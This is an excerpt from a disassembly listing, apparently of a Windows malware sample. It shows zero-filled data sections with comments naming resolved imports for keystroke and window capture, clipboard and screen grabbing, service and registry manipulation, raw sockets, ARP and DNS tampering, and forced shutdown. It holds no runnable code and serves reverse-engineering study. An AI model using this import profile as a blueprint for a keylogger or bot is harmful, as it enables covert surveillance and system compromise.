dword_43C64C	dd 0							; sub_404969+14Cr ...
		dd 2 dup(0)
dword_43C658	dd 0							; sub_407599+92w ...
dword_43C65C	dd 0							; sub_4078E6+D9w ...
		dd 0BB6h dup(0)
dword_43F538	dd 6 dup(0)						; sub_4076D2+138o ...
dword_43F550	dd 0							; sub_4071BD+102o
dword_43F554	dd 41h dup(0)	dword_43F658	dd 41h dup(0)	dword_43F75C	dd 0							; sub_4071BD+114r
dword_43F760	dd 0		dword_43F764	dd 0							; sub_4071BD+CFr
dword_43F768	dd 20h dup(0)						; sub_4071BD+BAo
dword_43F7E8	dd 0		dword_43F7EC	dd 0							; sub_4071BD+C7w
dword_43F7F0	dd 0				align 8
dword_43F7F8	dd 0							; sub_4071BD+32Eo
dword_43F7FC	dd 0A2h	dup(0)	dword_43FA84	dd 41h dup(0)	dword_43FB88	dd 0							; sub_4071BD+2E1r
		align 10h
dword_43FB90	dd 0							; sub_4071BD+340r
dword_43FB94	dd 0		dword_43FB98	dd 0		dword_43FB9C	dd 0				dd 0
dword_43FBA4	dd 0		dword_43FBA8	dd 0							; sub_4071BD+221o
dword_43FBAC	dd 41h dup(0)	dword_43FCB0	dd 41h dup(0)	dword_43FDB4	dd 0							; sub_4071BD+233r
dword_43FDB8	dd 0		dword_43FDBC	dd 0		dword_43FDC0	dd 20h dup(0)						; sub_4071BD+1D9o
dword_43FE40	dd 0		dword_43FE44	dd 0							; sub_4071BD+1E6w
dword_43FE48	dd 0				align 10h
dword_43FE50	dd 0							; sub_40894E+12r
		align 8
dword_43FE58	dd 80h dup(0)	dword_440058	dd 200h	dup(0)						; sub_409307+DDo ...
dword_440858	dd 200h	dup(0)						; sub_409307+F4o ...
dword_441058	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_40917E+94r
dword_44105C	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_4095E4+55r ...
dword_441060	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_40917E+D6r ...
dword_441064	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_40917E+35r ...
dword_441068	dd 80h dup(0)	dword_441268	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_40917E+A2r
		align 10h
dword_441270	dd 0							; sub_408FAC+103r ...
dword_441274	dd 0							; sub_4094AE+107w
dword_441278	dd 0							; sub_4094AE+10Dw ...
dword_44127C	dd 0							; sub_4095E4+4Fr
dword_441280	dd 0		; resolved to->GDI32.DeleteDC					; sub_40851A+21Ar ...
dword_441284	dd 0		; resolved to->KERNEL32.Module32First					; sub_415B93+166r
dword_441288	dd 0		; resolved to->WININET.InternetGetConnectedStateExA					; sub_409794+862r ...
dword_44128C	dd 0							; sub_409794+A18r ...
dword_441290	dd 0							; sub_409794+9E8r ...
dword_441294	dd 0		; resolved to->GDI32.SelectObject					; sub_409794+46Fw ...
dword_441298	dd 0		; resolved to->USER32.GetKeyState					; sub_402368+2A4r ...
dword_44129C	dd 0							; sub_409794+A10r ...
dword_4412A0	dd 0		; resolved to->ADVAPI32.OpenServiceA					; sub_409794+3A9r ...
dword_4412A4	dd 0		; resolved to->ADVAPI32.GetUserNameA					; sub_40BDAD+11Er
dword_4412A8	dd 0		; resolved to->ADVAPI32.StartServiceA					; sub_409794+3B1r ...
dword_4412AC	dd 0		; resolved to->ADVAPI32.IsValidSecurityDescriptor					; sub_40E284+ADr
dword_4412B0	dd 0		; resolved to->WS2_32.__WSAFDIsSet					; sub_40841A+7Dr ...
dword_4412B4	dd 0		; resolved to->KERNEL32.GetDiskFreeSpaceExA					; sub_409794+D2r ...
dword_4412B8	dd 0							; sub_409794+9DBr ...
dword_4412BC	dd 0		; resolved to->ADVAPI32.CloseServiceHandle					; sub_409794+3C9r ...
dword_4412C0	dd 0		; resolved to->WININET.InternetCrackUrlA					; sub_409794+88Er ...
dword_4412C4	dd 0		; resolved to->ADVAPI32.RegQueryValueExA					; sub_409794+2A5w ...
dword_4412C8	dd 0		; resolved to->WININET.InternetOpenUrlA					; sub_409794+886r ...
dword_4412CC	dd 0		; resolved to->KERNEL32.QueryPerformanceFrequencydword_4412D0	dd 0		; resolved to->WININET.InternetReadFile					; sub_409794+896r ...
dword_4412D4	dd 0		; resolved to->WS2_32.WSAAsyncSelect					; sub_409794+52Fw ...
dword_4412D8	dd 0		; resolved to->KERNEL32.Process32Next					; sub_409794+CAr ...
dword_4412DC	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_40B45B+11Ar
dword_4412E0	dd 0		; resolved to->DNSAPI.DnsFlushResolverCache					; sub_409794+A6Dr ...
dword_4412E4	dd 0		; resolved to->KERNEL32.QueryPerformanceCounter					; sub_409794+F2r
dword_4412E8	dd 0		; resolved to->GDI32.GetDIBColorTable					; sub_409794+462w ...
dword_4412EC	dd 0		; resolved to->WS2_32.ntohl					; sub_409794+5D8w
dword_4412F0	dd 0							; sub_409794+A08r
dword_4412F4	dd 0		; resolved to->WS2_32.ntohs					; sub_409794+5CBw ...
dword_4412F8	dd 0							; sub_409794+B21w
dword_4412FC	dd 0		; resolved to->WININET.InternetGetConnectedState					; sub_409794+84Fr ...
dword_441300	dd 0		; resolved to->USER32.ExitWindowsEx					; sub_40AB95+15r
dword_441304	dd 0							; sub_409794+9F0r ...
dword_441308	dd 0		; resolved to->ADVAPI32.ControlService					; sub_409794+3B9r ...
dword_44130C	dd 0		; resolved to->ADVAPI32.DeleteService					; sub_409794+3C1r ...
dword_441310	dd 0							; sub_40894E+2Br ...
dword_441314	dd 0		; resolved to->WS2_32.getpeernamedword_441318	dd 0		; resolved to->WS2_32.WSACleanup					; sub_401A6D:loc_401D13r ...
dword_44131C	dd 0		; resolved to->GDI32.DeleteObject					; sub_409794+496w
dword_441320	dd 0							; sub_409794+A20r ...
dword_441324	dd 0		; resolved to->ADVAPI32.RegDeleteValueA					; sub_409794+2DEr ...
dword_441328	dd 0		; resolved to->KERNEL32.GetLogicalDriveStringsA					; sub_409794+DAr ...
dword_44132C	dd 0		; resolved to->SHELL32.ShellExecuteA					; sub_409794+B75r ...
dword_441330	dd 0		; resolved to->WS2_32.WSAStartup					; sub_401A6D+2Fr ...
dword_441334	dd 0		; resolved to->WININET.HttpSendRequestA					; sub_409794+872r ...
dword_441338	dd 0							; sub_409794+9F8r
dword_44133C	dd 0							; sub_404969+70r ...
dword_441340	dd 0		; resolved to->USER32.GetForegroundWindow					; sub_402368+63r ...
dword_441344	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_409794+910r ...
dword_441348	dd 0		dword_44134C	dd 0		; resolved to->WS2_32.WSAGetLastError					; sub_401447+3Cr ...
dword_441350	dd 0		; resolved to->WININET.InternetOpenA					; sub_409794+855r
dword_441354	dd 0		; resolved to->USER32.GetWindowTextA					; sub_402368+7Cr ...
dword_441358	dd 0		; resolved to->USER32.IsWindow					; sub_408755+69r ...
dword_44135C	dd 0		; resolved to->WS2_32.getsockname					; sub_409794+786r ...
dword_441360	dd 0		; resolved to->WS2_32.connect					; sub_404197+5Er ...
dword_441364	dd 0		; resolved to->WS2_32.WSAIoctl					; sub_402E92+12Cr ...
dword_441368	dd 0							; sub_409794:loc_40A06Fw ...
dword_44136C	dd 0		; resolved to->ADVAPI32.RegCreateKeyExA					; sub_409794+2C6r ...
dword_441370	dd 0		; resolved to->WS2_32.gethostbyaddr					; sub_409794+681w ...
dword_441374	dd 0		; resolved to->ADVAPI32.LookupPrivilegeValueA					; sub_409794+323r ...
dword_441378	dd 0		; resolved to->ADVAPI32.EnumServicesStatusA					; sub_409794+3D1r ...
dword_44137C	dd 0							; sub_404969+1C5r ...
dword_441380	dd 0		; resolved to->WININET.HttpOpenRequestA					; sub_409794+86Ar ...
dword_441384	dd 0		; resolved to->USER32.GetAsyncKeyState					; sub_402368+297r ...
dword_441388	dd 0		; resolved to->USER32.OpenClipboard					; sub_409794+1D2r ...
dword_44138C	dd 0		; resolved to->WININET.InternetConnectA					; sub_409794+87Ar ...
dword_441390	dd 0		; resolved to->WSOCK32.recvfrom					; sub_409794+606w ...
dword_441394	dd 0		; resolved to->ADVAPI32.RegCloseKey					; sub_409794+2BFw ...
dword_441398	dd 0		; resolved to->WSOCK32.setsockopt					; sub_401447+AAr ...
dword_44139C	dd 0		; resolved to->ADVAPI32.OpenProcessToken					; sub_409794+316r ...
dword_4413A0	dd 0		; resolved to->WS2_32.select					; sub_406B85+1FCr ...
dword_4413A4	dd 0		; resolved to->GDI32.CreateDCA					; sub_409794+42Ew ...
dword_4413A8	dd 0		; resolved to->USER32.GetClipboardData					; sub_409794+1DAr ...
dword_4413AC	dd 0		; resolved to->ADVAPI32.OpenSCManagerA					; sub_409794+39Cr ...
dword_4413B0	dd 0		; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4413B4	dd 0		; resolved to->WS2_32.ntohl					; sub_4010B2+1F9r ...
dword_4413B8	dd 0		; resolved to->WS2_32.ntohs					; sub_4010B2+9Dr ...
dword_4413BC	dd 0		; resolved to->KERNEL32.Process32First					; sub_409794+C2r ...
dword_4413C0	dd 0		; resolved to->GDI32.GetDeviceCaps					; sub_40851A+38r ...
dword_4413C4	dd 0		; resolved to->USER32.FindWindowA					; sub_409794+1BAr ...
dword_4413C8	dd 0							; sub_40EB6D+72r
dword_4413CC	dd 0		; resolved to->WS2_32.gethostname					; sub_409794+667w ...
dword_4413D0	dd 0		; resolved to->WSOCK32.recv					; sub_402E92+1C2r ...
dword_4413D4	dd 0							; sub_404969+291r ...
dword_4413D8	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_409794+BAr ...
dword_4413DC	dd 0		; resolved to->ADVAPI32.RegSetValueExA					; sub_409794+2CEr ...
dword_4413E0	dd 0		; resolved to->WS2_32.listen					; sub_407B45+9Cr ...
dword_4413E4	dd 0		; resolved to->WS2_32.bind					; sub_402E92+ADr ...
dword_4413E8	dd 0							; sub_40F6F1+4717r
dword_4413EC	dd 0		; resolved to->WININET.InternetCloseHandle					; sub_40C1D5+205r ...
dword_4413F0	dd 0		dword_4413F4	dd 0							; sub_409794+BB8w ...
dword_4413F8	dd 0		; resolved to->WS2_32.inet_addr					; sub_401447+1A0r ...
dword_4413FC	dd 0		; resolved to->GDI32.CreateDIBSection					; sub_409794+43Bw ...
dword_441400	dd 0		; resolved to->GDI32.BitBlt					; sub_409794+47Cw ...
dword_441404	dd 0		; resolved to->GDI32.CreateCompatibleDC					; sub_409794+448w ...
dword_441408	dd 0		; resolved to->WS2_32.send					; sub_403E35+249r ...
dword_44140C	dd 0		; resolved to->USER32.CloseClipboard					; sub_409794+1E2r ...
dword_441410	dd 0							; sub_409794+A28r ...
dword_441414	dd 0		; resolved to->USER32.SendMessageA					; sub_408755+7Fr ...
dword_441418	dd 0		; resolved to->KERNEL32.GetDriveTypeA					; sub_409794+E2r ...
dword_44141C	dd 0		; resolved to->WS2_32.sendto					; sub_401447+2DAr ...
dword_441420	dd 0							; sub_404D78+4CFr ...
dword_441424	dd 0		; resolved to->ADVAPI32.AdjustTokenPrivileges					; sub_415B28+55r
dword_441428	dd 0		; resolved to->ADVAPI32.RegOpenKeyExA					; sub_409794+27Ew ...
dword_44142C	dd 0		; resolved to->SHELL32.SHChangeNotifydword_441430	dd 0		; resolved to->IPHLPAPI.DeleteIpNetEntry					; sub_40AECD+CEr
dword_441434	dd 0		; resolved to->IPHLPAPI.GetIpNetTable					; sub_409794+AB7r ...
dword_441438	dd 0		; resolved to->WS2_32.socket					; sub_401D79+55r ...
dword_44143C	dd 0		; resolved to->WS2_32.gethostbyname					; ___:00407D55r ...
dword_441440	dd 0							; sub_409794+BC5w ...
dword_441444	dd 0		; resolved to->WS2_32.inet_ntoa					; sub_406B85+250r ...
dword_441448	dd 0							; sub_409794+A00r ...
dword_44144C	dd 0		; resolved to->WS2_32.accept					; sub_407B45+B3r ...
dword_441450	dd 0		; resolved to->WS2_32.closesocket					; sub_401447+2F0r ...
dword_441454	dd 0		; resolved to->WS2_32.ioctlsocket					; sub_405A6A+39Fr ...
dword_441458	dd 0							; sub_403A47+C8r ...
dword_44145C	dd 0		; resolved to->WS2_32.WSASocketA					; sub_401A6D+4Fr ...
dword_441460	dd 0							; sub_409794+AFAw ...
dword_441464	dd 0		; resolved to->KERNEL32.SetErrorMode					; sub_409794+ADr ...
dword_441468	dd 0		; resolved to->USER32.DestroyWindow					; sub_40894E+232r ...
		align 10h
dword_441470	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_409794+91Dr ...
dword_441474	dd 0		; resolved to->KERNEL32.SearchPathA					; sub_409794+EAr ...
dword_441478	dd 0							; sub_409794+12Bw ...
dword_44147C	dd 0							; sub_40A421+1Cr
dword_441480	dd 0							; sub_409794:loc_4099E9w ...
dword_441484	dd 0							; sub_40A421+50r
dword_441488	dd 0							; sub_409794:loc_409AC3w ...
dword_44148C	dd 0							; sub_40A421+84r
dword_441490	dd 0							; sub_40A421:loc_40A4D1r
dword_441494	dd 0							; sub_40A421+B8r
dword_441498	dd 0							; sub_40A421:loc_40A505r
dword_44149C	dd 0							; sub_40A421+ECr
dword_4414A0	dd 0							; sub_409794+8D1w ...
dword_4414A4	dd 0							; sub_40A421+120r
dword_4414A8	dd 0							; sub_40A421:loc_40A56Dr ...
dword_4414AC	dd 0							; sub_40A421+154r
dword_4414B0	dd 0							; sub_40A421:loc_40A5A1r ...
dword_4414B4	dd 0							; sub_40A421+188r
dword_4414B8	dd 0							; sub_40A421:loc_40A5D5r
dword_4414BC	dd 0							; sub_40A421+1BCr
dword_4414C0	dd 0							; sub_40A421:loc_40A609r
dword_4414C4	dd 0							; sub_40A421+1F0r
dword_4414C8	dd 0							; sub_40A421:loc_40A63Dr
dword_4414CC	dd 0							; sub_40A421+224r
dword_4414D0	dd 0							; sub_40A421:loc_40A671r
dword_4414D4	dd 0							; sub_40A421+258r
dword_4414D8	dd 0							; sub_40A421:loc_40A6A5r
dword_4414DC	dd 0							; sub_40A421+28Cr
dword_4414E0	dd 0							; sub_40A421:loc_40A6D9r
dword_4414E4	dd 0							; sub_40A421+2C0r
dword_4414E8	dd 81h dup(0)	dword_4416EC	dd 5 dup(0)	dword_441700	dd 0							; sub_40F6F1+629Do ...
dword_441704	dd 0							; sub_40B8EC+54r ...
dword_441708	dd 0							; sub_40B8EC+37r ...
dword_44170C	dd 0							; sub_40BA41+83o
dword_441710	dd 0							; sub_40BA41+11Bw
dword_441714	dd 0Dh dup(0)						; sub_40BA41:loc_40BB7Eo
dword_441748	dd 0							; sub_40B8EC+ECr ...
		align 10h
dword_441750	dd 0Eh dup(0)	dword_441788	dd 0FF2h dup(0)						; sub_40C597o ...
dword_445750	dd 0Eh dup(0)	dword_445788	dd 0							; sub_40C597+Eo ...
dword_44578C	dd 0Eh dup(0)	dword_4457C4	dd 2 dup(0)	dword_4457CC	dd 17h dup(0)						; sub_40DDD4+131o ...
dword_445828	dd 80h dup(0)						; sub_40EB6D+A5o
dword_445A28	dd 0							; sub_40E14E+4Dr ...
dword_445A2C	dd 17h dup(0)						; sub_40EA39+12Do
dword_445A88	dd 80h dup(0)						; sub_40E08F+7Do ...
byte_445C88	db 0			; DATA XREF: sub_40E14E+29r
					; sub_40E14E+34w
		align 4
dword_445C8C	dd 80h dup(0)						; sub_40E3A5+88o ...
dword_445E8C	dd 81h dup(0)						; sub_40DCAB+50o ...
dword_446090	dd 0							; sub_40C3FF+44r ...
		dd 5 dup(0)
dword_4460A8	dd 0							; sub_40F6F1+BCEr
		dd 2D9h	dup(0)
dword_446C10	dd 0							; sub_40C3FF+2Do ...
		dd 7Fh dup(0)
dword_446E10	dd 0							; sub_416F93+40w ...
dword_446E14	dd 0							; sub_4076D2:loc_407719r ...
dword_446E18	dd 0							; sub_416E58+52w ...
dword_446E1C	dd 0							; sub_405A6A+7Ew ...
dword_446E20	dd 0							; ___:00407F07r ...
dword_446E24	dd 0							; sub_4071BD+122w ...
byte_446E28	db 0			; DATA XREF: sub_40F326+E2o
					; sub_40F6F1+346Er ...
		align 4
		dd 2488h dup(0)
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:0042AC28o
		dd 10003h dup(0)
dword_49005C	dd 937Eh dup(0)			db 0
byte_4B4E55	db 3 dup(0)		; DATA XREF: ___:off_43AE18o
		dd 7CBEh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_42DD54o
		dd 2FBDh dup(0)
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:0042AC14o
		dd 1040h dup(0)
dword_4E414C	dd 2FBEh dup(0)	dword_4F0044	dd 5500h dup(0)			db 2 dup(0)
word_505446	dw 0			; DATA XREF: ___:off_424C70o
		dd 401Eh dup(0)
dword_5154C0	dd 0							; ___:0040EC75w ...
		align 8
dword_5154C8	dd 0		dword_5154CC	dd 20h dup(0)						; ___:0040F289o ...
dword_51554C	dd 10h dup(0)						; sub_40F6F1+920o
dword_51558C	dd 24h dup(0)	dword_51561C	dd 0							; ___:0040F2A0w ...
dword_515620	dd 0				align 10h
dword_515630	dd 0		dword_515634	dd 0		byte_515638	db 0			; DATA XREF: sub_40F576+28r
					; sub_40F576+30o
		align 4
byte_51563C	db 0			; DATA XREF: ___:loc_40F2C2r
					; ___:0040F2D0o
		align 10h
dword_515640	dd 0		dword_515644	dd 0		dword_515648	dd 0		dword_51564C	dd 0							; ___:0040F254r ...
dword_515650	dd 0							; sub_40F6F1+8C4r
dword_515654	dd 1Bh dup(0)	dword_5156C0	dd 0							; sub_4170BF+19o
dword_5156C4	dd 65h dup(0)	byte_515858	db 0			; DATA XREF: sub_416D51+6Ar
					; sub_416D51+98w
		align 10h
dword_515860	dd 0							; sub_418000+A4w
		align 8
word_515868	dw 0			; DATA XREF: sub_418000+55r
					; sub_418000+9Ao
word_51586A	dw 0			; DATA XREF: sub_418000+48r
		db 2 dup(0)
word_51586E	dw 0			; DATA XREF: sub_418000+3Br
word_515870	dw 0			; DATA XREF: sub_418000+2Er
word_515872	dw 0			; DATA XREF: sub_418000+21r
		align 8
dword_515878	dd 0							; sub_41824D+91w
		align 10h
dword_515880	dd 0		dword_515884	dd 0							; sub_417DAD+1B9w ...
dword_515888	dd 0							; sub_41B397:loc_41B431w ...
dword_51588C	dd 0				dd 4 dup(0)
dword_5158A0	dd 0							; ___:0041CD71w
dword_5158A4	dd 0							; ___:0040EF62r ...
		dd 0
dword_5158AC	dd 0							; sub_41EFBB+9r ...
dword_5158B0	dd 0		dword_5158B4	dd 0							; sub_41FAC2+4r ...
		dd 0
dword_5158BC	dd 0				dd 0
byte_5158C4	db 0			; DATA XREF: sub_418FB9+2Dw
					; sub_41D677+5r
		align 4
dword_5158C8	dd 0		dword_5158CC	dd 0							; sub_418FB9+8Bw
dword_5158D0	dd 0							; ___:loc_41CC7Br ...
		align 8
dword_5158D8	dd 0		dword_5158DC	dd 0							; sub_418C3F:loc_418D3Br ...
dword_5158E0	dd 0		dword_5158E4	dd 2 dup(0)	dword_5158EC	dd 0							; sub_417CAE:loc_417D7Br ...
		dd 3 dup(0)
dword_5158FC	dd 0							; sub_417CAE+BFr ...
		dd 0
dword_515904	dd 0							; sub_41BC2B+4Cw ...
dword_515908	dd 0							; sub_41C195+4w ...
dword_51590C	dd 0							; sub_41C6E1+1Ar ...
byte_515910	db 0			; DATA XREF: sub_41C5DD+3r
					; sub_41C5DD+98r ...
		align 4
dword_515914	dd 0							; sub_41C7BF+21w ...
byte_515918	db 0			; DATA XREF: sub_41C7BF+51w
		align 4
dword_51591C	dd 0				dd 0
dword_515924	dd 0							; ___:0041CA91w ...
dword_515928	dd 41h dup(0)	dword_515A2C	dd 0							; ___:0041CF50w ...
dword_515A30	dd 0		dword_515A34	dd 0							; sub_41C981:loc_41C9AAw ...
dword_515A38	dd 0							; sub_41D6F3:loc_41D75Dw
		align 10h
dword_515A40	dd 0							; sub_41DD12+63w ...
		align 8
dword_515A48	dd 0							; sub_41DD12+46r
dword_515A4C	dd 10h dup(0)	word_515A8C	dw 0			; DATA XREF: sub_41DF70+A8r
word_515A8E	dw 0			; DATA XREF: sub_41DD12+54r
					; sub_41DF70+DBr ...
word_515A90	dw 0			; DATA XREF: sub_41DF70+CAr
word_515A92	dw 0			; DATA XREF: sub_41DF70+D3r
					; sub_41DF70:loc_41E062r
word_515A94	dw 0			; DATA XREF: sub_41DF70+C0r
word_515A96	dw 0			; DATA XREF: sub_41DF70+B8r
word_515A98	dw 0			; DATA XREF: sub_41DF70+B0r
word_515A9A	dw 0			; DATA XREF: sub_41DF70+9Er
dword_515A9C	dd 0		dword_515AA0	dd 10h dup(0)	word_515AE0	dw 0			; DATA XREF: sub_41DF70+46r
word_515AE2	dw 0			; DATA XREF: sub_41DD12:loc_41DD89r
					; sub_41DF70+78r ...
word_515AE4	dw 0			; DATA XREF: sub_41DF70+67r
word_515AE6	dw 0			; DATA XREF: sub_41DF70+70r
					; sub_41DF70:loc_41DFF4r
word_515AE8	dw 0			; DATA XREF: sub_41DF70+5Dr
word_515AEA	dw 0			; DATA XREF: sub_41DF70+55r
word_515AEC	dw 0			; DATA XREF: sub_41DF70+4Dr
word_515AEE	dw 0			; DATA XREF: sub_41DF70+3Er
dword_515AF0	dd 0		dword_515AF4	dd 0							; sub_41DD12:loc_41DE5Er ...
dword_515AF8	dd 0		dword_515AFC	dd 0		word_515B00	dw 0			; DATA XREF: sub_41ECF8+1Ao
					; sub_41ECF8+46r
byte_515B02	db 0			; DATA XREF: sub_41ECF8+39r
		align 4
dword_515B04	dd 7 dup(0)	dword_515B20	dd 0							; sub_41ECF8+5Co
dword_515B24	dd 0		dword_515B28	dd 0		dword_515B2C	dd 0		dword_515B30	dd 0		; resolved to->USER32.MessageBoxA					; sub_41EE5D+2Ew ...
dword_515B34	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41EE5D:loc_41EEACr
dword_515B38	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41EE5D+60r
dword_515B3C	dd 0		dword_515B40	dd 0							; sub_41FE42+48w ...
dword_515B44	dd 0							; sub_4205FA+4Cw ...
dword_515B48	dd 0							; sub_420885:loc_4208EFw
dword_515B4C	dd 0							; sub_41B9C1+14r ...
		dd 4 dup(0)
dword_515B60	dd 400h	dup(0)						; ___:0043BB80o
dword_516B60	dd 0							; sub_41B515+56r ...
		dd 7 dup(0)
dword_516B80	dd 0							; sub_41B582+75r ...
dword_516B84	dd 3Fh dup(0)	dword_516C80	dd 0							; sub_41B65B+Cr ...
dword_516C84	dd 0							; sub_41BFFC+65w ...
		align 10h
dword_516C90	dd 3 dup(0)						; sub_41BFFC+171o ...
dword_516C9C	dd 0							; sub_41BFFC+15Dw ...
byte_516CA0	db 0			; DATA XREF: sub_41C23B:loc_41C347w
					; sub_41C23B:loc_41C364w ...
		align 4
		dd 3Fh dup(0)
byte_516DA0	db 0			; DATA XREF: sub_41BFFC+5Co
					; sub_41BFFC+AFo ...
byte_516DA1	db 0			; DATA XREF: sub_418AA8+5Dr
					; sub_41BFFC+A0w ...
		align 4
		dd 40h dup(0)
dword_516EA4	dd 0							; sub_41BFFC+12Bw ...
dword_516EA8	dd 0							; sub_41A2B6+32w
dword_516EAC	dd 0							; sub_419C82+259r ...
dword_516EB0	dd 0							; sub_419FAD:loc_419FFDr ...
dword_516EB4	dd 0							; sub_419C82+25Fr ...
dword_516EB8	dd 0							; sub_419C82+2CAr ...
dword_516EBC	dd 0							; sub_419C82+2CFr ...
dword_516EC0	dd 0							; sub_417C62+21r ...
dword_516EC4	dd 0							; ___:0041CD09r
dword_516EC8	dd 0		dword_516ECC	dd 0							; sub_41C3C0+11w ...
dword_516ED0	dd 0		dword_516ED4	dd 0							; sub_418FB9+57r
		align 200h
___		ends

; Section 2. (virtual address 00117000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00117000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 517000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00118000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00118000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 518000h
		dd 400h	dup(0)
_idata__	ends

; Section 4. (virtual address 00119000)
; Virtual size			: 000C5000 ( 806912.)
; Section size in file		: 000C5000 ( 806912.)
; Offset to raw	data for section: 00119000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
ud2_____	segment	para public 'DATA' use32
		assume cs:ud2_____
		;org 519000h
		dd 1C11h dup(0)
		db 0
byte_520045	db 3 dup(0)		; DATA XREF: ___:0042AC08o
					; ___:0042AC20o
		dd 4003h dup(0)
		db 0
byte_530055	db 3 dup(0)		; DATA XREF: ___:off_42AC04o
					; ___:off_42AC1Co
		dd 50FEh dup(0)
dword_544450	dd 2BCh	dup(0)			db 2 dup(0)
word_544F42	dw 0			; DATA XREF: ___:off_424C78o
		dd 103h	dup(0)
dword_545350	dd 0AB45h dup(0)		db 0
		align 4
		dd 3FF7h dup(0)
		db 2 dup(0)
word_580046	dw 0			; DATA XREF: ___:off_425F7Co
					; ___:00425F84o ...
		dd 13C1h dup(0)
		db 2 dup(0)
word_584F4E	dw 0			; DATA XREF: ___:00429E28o
		dd 0EC35h dup(0)
dword_5C0024	dd 0Eh dup(0)	dword_5C005C	dd 0E79h dup(0)			db 0
byte_5C3A41	db 2 dup(0)		; DATA XREF: ___:off_42DE00o
byte_5C3A43	db 0			; DATA XREF: ___:off_43AEF0o
dword_5C3A44	dd 44C5h dup(0)			db 3 dup(0)
byte_5D4D5B	db 0			; DATA XREF: ___:off_43AE48o
		dd 24A9h dup(0)
ud2_____	ends

; Section 5. (virtual address 001DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 001DE000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_gda_		segment	para public 'CODE' use32
		assume cs:_gda_
		;org 5DE000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		public start
start		dd 400h	dup(0)
_gda_		ends

; Section 6. (virtual address 001DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DF000h
		align 2000h
_idata2		ends


		end start